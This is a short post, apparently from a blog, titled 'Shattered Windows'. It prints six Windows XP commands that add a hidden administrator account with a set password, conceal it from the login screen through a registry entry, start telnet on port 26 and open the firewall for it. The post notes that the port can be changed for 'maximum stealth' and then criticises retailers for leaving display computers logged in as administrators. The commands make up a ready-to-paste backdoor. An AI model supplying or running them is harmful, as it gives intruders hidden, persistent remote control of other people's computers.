Shattered Windows

net user houdini mypass123 /add /passwordreq:yes /fullname:"houdini"
net localgroup Administrators houdini /add
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v houdini /t reg_dword /d 0
net start telnet
tlntadmn config port=26
netsh firewall add portopening ALL 26 TELNET ENABLE ALL

This adds an administrator to a Windows XP system (houdini, password 'mypass123'), starts telnet listening on TCP port 26 and punches a hole in the Windows firewall. The user added is a 'special user' whose name doesn't show up as one of the choices at the login screen. The telnet port can be changed as necessary to achieve maximum stealth.

Since it only takes a few seconds to copy the six commands from this page and run them (and it takes even less time to download a batch file containing them and run it), you might think that retailers across America would be reluctant to leave computers with internet access logged in to administrator accounts unattended and sitting out where customers are encouraged to play with them.

You'd be wrong.